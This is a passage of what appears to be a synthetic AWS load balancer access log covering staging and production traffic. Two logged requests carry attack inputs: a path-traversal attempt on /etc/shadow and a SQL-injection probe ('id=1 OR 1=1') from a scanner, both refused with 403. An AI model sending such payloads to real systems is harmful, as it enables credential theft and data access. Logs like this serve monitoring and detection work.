TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e082-5bbf5274a88d4ed7ba819435" "staging-alb.example.com" "-" 7 2024-11-01T02:54:42.559932Z "forward" "-" "-" "51.1.69.178:443" "200" "-" "-" -http 2024-11-01T02:54:43.377910Z staging-alb 177.42.96.115:64123 64.102.251.52:443 0.104152 0.307010 0.084650 302 302 965 4336 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e083-8aaf528cc9cc41ab9753637d" "staging-alb.example.com" "-" 2 2024-11-01T02:54:43.377910Z "forward" "-" "-" "64.102.251.52:443" "302" "-" "-" -https 2024-11-01T02:54:44.840156Z staging-alb 48.241.2.71:11622 251.12.235.174:443 0.090625 0.086068 0.045331 200 200 757 3457 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e084-4851d375553e4af6b1b3aecd" "staging-alb.example.com" "-" 8 2024-11-01T02:54:44.840156Z "forward" "-" "-" "251.12.235.174:443" "200" "-" "-" -http 2024-11-01T02:54:46.124696Z staging-alb 143.216.18.127:27966 168.39.145.81:8080 0.075511 0.740720 0.033555 200 200 121 14308 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e086-17950fcbc6684fb1a20d9955" "-" "-" 4 2024-11-01T02:54:46.124696Z "forward" "-" "-" "168.39.145.81:8080" "200" "-" "-" -http 2024-11-01T02:54:47.326085Z staging-alb 17.112.18.19:38164 140.221.120.23:443 0.147404 0.631945 0.024757 302 302 693 335 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e087-9c3e5d3a3aed4363b0b9671a" "staging-alb.example.com" "-" 2 2024-11-01T02:54:47.326085Z "forward" "-" "-" "140.221.120.23:443" "302" "-" "-" -https 2024-11-01T02:54:47.438167Z prod-web-alb 143.195.21.231:40412 10.0.226.241:443 0.082543 0.393949 0.064504 302 302 430 8069 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e087-d2e9889fcc3a47fea27599db" "prod-web-alb.example.com" "-" 0 2024-11-01T02:54:47.438167Z "forward" "-" "-" "10.0.226.241:443" "302" "-" "-" -https 2024-11-01T02:54:48.770878Z prod-web-alb 49.134.180.124:32044 10.0.147.118:443 0.071552 0.219029 0.098351 302 302 92 13502 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e088-2415882c47084c47b8aa4115" "prod-web-alb.example.com" "-" 1 2024-11-01T02:54:48.770878Z "forward" "-" "-" "10.0.147.118:443" "302" "-" "-" -http 2024-11-01T02:54:50.472628Z staging-alb 120.48.218.143:60200 222.200.55.182:443 0.051207 0.568764 0.071817 200 200 596 13019 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e08a-4e678a3bfcce4ec688298481" "staging-alb.example.com" "-" 5 2024-11-01T02:54:50.472628Z "forward" "-" "-" "222.200.55.182:443" "200" "-" "-" -https 2024-11-01T02:54:51.582050Z prod-web-alb 9.245.237.7:10801 10.0.202.95:443 0.030089 0.067885 0.020716 302 302 582 10961 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e08b-cfce65dbe3604d08bcfb4483" "prod-web-alb.example.com" "-" 3 2024-11-01T02:54:51.582050Z "forward" "-" "-" "10.0.202.95:443" "302" "-" "-" -https 2024-11-01T02:54:52.512289Z prod-api-alb 34.127.59.6:58768 10.0.151.48:443 0.096297 0.040027 0.002464 200 200 485 13814 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e08c-1a379fc351eb4d92824ab7b0" "prod-api-alb.example.com" "-" 4 2024-11-01T02:54:52.512289Z "forward" "-" "-" "10.0.151.48:443" "200" "-" "-" -https 2024-11-01T02:54:54.126453Z prod-api-alb 72.60.38.207:50942 10.0.17.185:443 0.051773 0.093566 0.026278 200 200 478 6475 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e08e-79bd936435aa40fe85ebc8a5" "prod-api-alb.example.com" "-" 4 2024-11-01T02:54:54.126453Z "forward" "-" "-" "10.0.17.185:443" "200" "-" "-" -https 2024-11-01T02:54:55.852704Z prod-web-alb 193.27.228.26:16382 10.0.84.109:443 0.026192 0.469521 0.019491 403 403 87 4473 "GET /images/../../../../etc/shadow HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e08f-ab83127837e546dbb1b86e2f" "-" "-" 0 2024-11-01T02:54:55.852704Z "forward" "-" "-" "10.0.84.109:443" "403" "-" "-" -https 2024-11-01T02:54:57.116915Z prod-web-alb 237.11.136.172:28021 10.0.241.30:443 0.019960 0.263934 0.096197 302 302 63 12435 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e091-9e271ef4da814af59e83211e" "prod-web-alb.example.com" "-" 3 2024-11-01T02:54:57.116915Z "forward" "-" "-" "10.0.241.30:443" "302" "-" "-" -https 2024-11-01T02:54:57.926737Z prod-api-alb 206.80.95.82:14093 10.0.247.67:443 0.079177 0.099520 0.027550 200 200 11 9998 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e091-84e90f631144404bb8a41f44" "prod-api-alb.example.com" "-" 1 2024-11-01T02:54:57.926737Z "forward" "-" "-" "10.0.247.67:443" "200" "-" "-" -https 2024-11-01T02:54:58.355605Z prod-api-alb 45.155.205.16:23851 10.0.224.217:443 0.017390 0.124400 0.033994 403 403 217 14534 "GET /users?id=1 OR 1=1 HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e092-0bb9df8476b54ba8bd6d722f" "-" "-" 0 2024-11-01T02:54:58.355605Z "forward" "-" "-" "10.0.224.217:443" "403" "-" "-" -https 2024-11-01T02:54:59.343420Z prod-web-alb 236.121.175.23:54321 10.0.247.248:443 0.084503 0.145090 0.097893 404 404 714 6179 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e093-1c53a4c2144c44d2873a9fdf" "prod-web-alb.example.com" "-" 5 2024-11-01T02:54:59.343420Z "forward" "-" "-" "10.0.247.248:443" "404" "-" "-" -http 2024-11-01T02:55:00.770058Z staging-alb 236.120.119.235:42786 37.248.140.201:443 0.042707 0.393334 0.031504 200 200 488 5395 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e094-0696bdf51e8747a0b1a8e36e" "staging-alb.example.com" "-" 8 2024-11-01T02:55:00.770058Z "forward" "-" "-" "37.248.140.201:443" "200" "-" "-" -https 2024-11-01T02:55:02.413774Z staging-alb 52.8.202.228:11020 5.233.128.43:8080 0.137961 0.556727 0.130337 404 404 603 10238 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e096-116b10f9c14c4ace81a9c9d8" "staging-alb.example.com" "-" 10 2024-11-01T02:55:02.413774Z "forward" "-" "-" "5.233.128.43:8080" "404" "-" "-" -https 2024-11-01T02:55:03.242969Z prod-api-alb 181.134.211.123:41376 10.0.213.176:443 0.037901 0.398516 0.004401 200 200 471 9917 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e097-2e8b04a945c24bd3923cf221" "prod-api-alb.example.com" "-" 6 2024-11-01T02:55:03.242969Z "forward" "-" "-" "10.0.213.176:443" "200" "-" "-" -https 2024-11-01T02:55:04.672436Z prod-api-alb 134.232.10.62:44085 10.0.217.67:443 0.022107 0.035233 0.096859 301 301 622 12933 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e098-130e6d3bb2994627b2ead654" "prod-api-alb.example.com" "-" 5 2024-11-01T02:55:04.672436Z "forward" "-" "-" "10.0.217.67:443" "301" "-" "-" -https 2024-11-01T02:55:05.166776Z prod-web-alb 41.145.150.22:18478 10.0.214.192:443 0.014816 0.441645 0.019765 200 200 615 4069 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e099-7e45494db2ff4b05b4ee8f75" "prod-web-alb.example.com" "-" 2 2024-11-01T02:55:05.166776Z "forward" "-" "-" "10.0.214.192:443" "200" "-" "-" -http 2024-11-01T02:55:07.130404Z staging-alb 30.234.58.89:11998 187.249.217.34:443 0.092626 0.587936 0.074636 302 302 120 5429 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e09b-0114539ee2344cf69c2e7eb6" "staging-alb.example.com" "-" 7 2024-11-01T02:55:07.130404Z "forward" "-" "-" "187.249.217.34:443" "302" "-" "-" -http 2024-11-01T02:55:08.301253Z staging-alb 137.107.90.138:12291 219.130.90.100:80 0.093710 0.355716 0.055286 200 200 85 6254 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e09c-361a81e77cc74b20a006bb7e" "staging-alb.example.com" "-" 8 2024-11-01T02:55:08.301253Z "forward" "-" "-" "219.130.90.100:80" "200" "-" "-" -https 2024-11-01T02:55:10.296053Z prod-web-alb 235.58.202.26:54061 10.0.22.169:443 0.090735 0.381425 0.026756 200 200 347 13120 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e09e-771695abba7b4cfdaca1e922" "prod-web-alb.example.com" "-" 3 2024-11-01T02:55:10.296053Z "forward" "-" "-" "10.0.22.169:443" "200" "-" "-" -https 2024-11-01T02:55:10.423291Z prod-web-alb 243.152.209.11:11909 10.0.42.216:443 0.000517 0.282487 0.000155 200 200 52 6719 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e09e-17809c52e865463ca3425972" "prod-web-alb.example.com" "-" 1 2024-11-01T02:55:10.423291Z "forward" "-" "-" "10.0.42.216:443" "200" "-" "-" -https 2024-11-01T02:55:11.817273Z prod-api-alb 51.114.223.30:48046 10.0.32.178:443 0.027420 0.293634 0.095686 200 200 782 850 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e09f-483e8223da444fe3ad372c5a" "prod-api-alb.example.com" "-" 5 2024-11-01T02:55:11.817273Z "forward" "-" "-" "10.0.32.178:443" "200" "-" "-" -https 2024-11-01T02:55:12.238186Z prod-web-alb 187.232.152.251:56951 10.0.31.202:443 0.062987 0.428897 0.068350 301 301 849 10514 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0a0-6a2bbf4464ec48c98f50ef6c" "prod-web-alb.example.com" "-" 4 2024-11-01T02:55:12.238186Z "forward" "-" "-" "10.0.31.202:443" "301" "-" "-" -https 2024-11-01T02:55:12.618787Z prod-api-alb 40.127.41.69:50444 10.0.182.163:443 0.002629 0.000153 0.014051 302 302 988 2672 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0a0-6174202b32f44c7f8c975bc8" "prod-api-alb.example.com" "-" 8 2024-11-01T02:55:12.618787Z "forward" "-" "-" "10.0.182.163:443" "302" "-" "-" -https 2024-11-01T02:55:13.205789Z staging-alb 145.147.144.100:31241 229.38.28.132:80 0.002705 0.024901 0.115960 200 200 551 5316 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e0a1-33f9854c0ee84030aa3fa69c" "staging-alb.example.com" "-" 7 2024-11-01T02:55:13.205789Z "forward" "-" "-" "229.38.28.132:80" "200" "-" "-" -https 2024-11-01T02:55:14.095144Z prod-web-alb 15.250.220.206:30779 10.0.200.6:443 0.021541 0.215297 0.055654 200 200 712 3864 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0a2-66a2c24975054b14ac0e4085" "prod-web-alb.example.com" "-" 6 2024-11-01T02:55:14.095144Z "forward" "-" "-" "10.0.200.6:443" "200" "-" "-" -https 2024-11-01T02:55:15.498180Z prod-api-alb 13.54.242.48:30115 10.0.122.150:443 0.046914 0.475434 0.000060 200 200 530 5524 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0a3-2d6d9410c09c48eeb2748351" "prod-api-alb.example.com" "-" 4 2024-11-01T02:55:15.498180Z "forward" "-" "-" "10.0.122.150:443" "200" "-" "-" -https 2024-11-01T02:55:17.322367Z prod-api-alb 4.131.46.231:22274 10.0.6.235:443 0.085207 0.352396 0.047058 301 301 26 5013 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0a5-186933910456441b928e6172" "prod-api-alb.example.com" "-" 6 2024-11-01T02:55:17.322367Z "forward" "-" "-" "10.0.6.235:443" "301" "-" "-" -https 2024-11-01T02:55:18.009870Z prod-api-alb 21.95.162.158:56470 10.0.205.35:443 0.095637 0.204503 0.049775 200 200 363 1342 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0a6-760324329f59477ab97d88ad" "prod-api-alb.example.com" "-" 0 2024-11-01T02:55:18.009870Z "forward" "-" "-" "10.0.205.35:443" "200" "-" "-" -https 2024-11-01T02:55:18.597866Z prod-api-alb 208.142.19.188:38806 10.0.225.120:443 0.049264 0.040057 0.089127 200 200 661 3023 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0a6-ab9b4189ce2d41cdb4ffaa64" "prod-api-alb.example.com" "-" 8 2024-11-01T02:55:18.597866Z "forward" "-" "-" "10.0.225.120:443" "200" "-" "-" -https 2024-11-01T02:55:19.272897Z prod-api-alb 48.95.9.46:15303 10.0.149.8:443 0.098936 0.437283 0.094862 200 200 795 3863 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0a7-22393b06feee4f868d56c5fa" "prod-api-alb.example.com" "-" 3 2024-11-01T02:55:19.272897Z "forward" "-" "-" "10.0.149.8:443" "200" "-" "-" -https 2024-11-01T02:55:20.139412Z prod-web-alb 20.140.25.129:56763 10.0.169.207:443 0.039659 0.224067 0.099898 200 200 963 13763 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0a8-18d602c9f8a445e0b737eaad" "prod-web-alb.example.com" "-" 0 2024-11-01T02:55:20.139412Z "forward" "-" "-" "10.0.169.207:443" "200" "-" "-" -https 2024-11-01T02:55:21.202803Z prod-web-alb 178.11.144.181:25600 10.0.139.178:443 0.011725 0.223609 0.093896 404 404 875 5021 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0a9-65d79b863a4040b8aebdba12" "prod-web-alb.example.com" "-" 6 2024-11-01T02:55:21.202803Z "forward" "-" "-" "10.0.139.178:443" "404" "-" "-" -https 2024-11-01T02:55:22.561331Z staging-alb 247.207.91.212:12696 15.101.200.242:443 0.054060 0.034122 0.130240 200 200 151 2820 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e0aa-497585d0deb14e4e9bf2591e" "staging-alb.example.com" "-" 7 2024-11-01T02:55:22.561331Z "forward" "-" "-" "15.101.200.242:443" "200" "-" "-" -https 2024-11-01T02:55:24.387669Z prod-api-alb 63.155.33.0:47508 10.0.94.178:443 0.018089 0.065608 0.036608 200 200 185 11966 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0ac-e55665cc002141cb8668b84a" "prod-api-alb.example.com" "-" 3 2024-11-01T02:55:24.387669Z "forward" "-" "-" "10.0.94.178:443" "200" "-" "-" -http 2024-11-01T02:55:24.943511Z staging-alb 218.141.76.39:48675 37.194.84.51:80 0.070972 0.551676 0.073117 301 301 944 14703 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e0ac-2bad0c39c5ab49a592c0270b" "staging-alb.example.com" "-" 9 2024-11-01T02:55:24.943511Z "forward" "-" "-" "37.194.84.51:80" "301" "-" "-" -https 2024-11-01T02:55:26.273146Z staging-alb 195.98.13.224:30081 178.21.250.204:80 0.006365 0.026764 0.100406 302 302 998 3173 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e0ae-95ef1abe3a9e4bbe867ab81d" "-" "-" 9 2024-11-01T02:55:26.273146Z "forward" "-" "-" "178.21.250.204:80" "302" "-" "-" -https 2024-11-01T02:55:26.728544Z prod-api-alb 123.148.166.12:47189 10.0.250.170:443 0.074192 0.074557 0.066303 302 302 977 11799 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0ae-ee17ba5a3531489893a9bcd0" "prod-api-alb.example.com" "-" 9 2024-11-01T02:55:26.728544Z "forward" "-" "-" "10.0.250.170:443" "302" "-" "-" -https 2024-11-01T02:55:28.190376Z prod-web-alb 66.31.36.200:22571 10.0.37.187:443 0.094896 0.109457 0.005936 404 404 124 12547 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0b0-6b56f5a98270451384aa848a" "prod-web-alb.example.com" "-" 8 2024-11-01T02:55:28.190376Z "forward" "-" "-" "10.0.37.187:443" "404" "-" "-" -https 2024-11-01T02:55:28.654321Z prod-web-alb 131.126.21.193:22930 10.0.56.24:443 0.099435 0.188203 0.099676 404 404 436 14793 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0b0-6ae789b6b4424030bcd8cddd" "prod-web-alb.example.com" "-" 6 2024-11-01T02:55:28.654321Z "forward" "-" "-" "10.0.56.24:443" "404" "-" "-" -http 2024-11-01T02:55:29.386025Z staging-alb 194.224.78.212:32138 98.106.255.92:443 0.116556 0.121567 0.013430 404 404 874 13375 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e0b1-6220d8798fbd4552a766b4f5" "-" "-" 7 2024-11-01T02:55:29.386025Z "forward" "-" "-" "98.106.255.92:443" "404" "-" "-" -https 2024-11-01T02:55:30.475749Z prod-web-alb 28.248.51.219:51073 10.0.93.19:443 0.003005 0.237298 0.096591 200 200 150 11926 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0b2-e870c00673f54faf8ff3227f" "prod-web-alb.example.com" "-" 0 2024-11-01T02:55:30.475749Z "forward" "-" "-" "10.0.93.19:443" "200" "-" "-" -https 2024-11-01T02:55:32.010189Z prod-api-alb 65.74.186.179:25710 10.0.28.79:443 0.000966 0.156408 0.015433 200 200 901 5655 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0b4-c109917e5271453191102715" "prod-api-alb.example.com" "-" 5 2024-11-01T02:55:32.010189Z "forward" "-" "-" "10.0.28.79:443" "200" "-" "-" -https 2024-11-01T02:55:32.294596Z prod-api-alb 120.103.131.41:30808 10.0.210.148:443 0.096897 0.285091 0.012340 200 200 472 10015 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0b4-785790bf22c84ee4bb3cd7da" "prod-api-alb.example.com" "-" 1 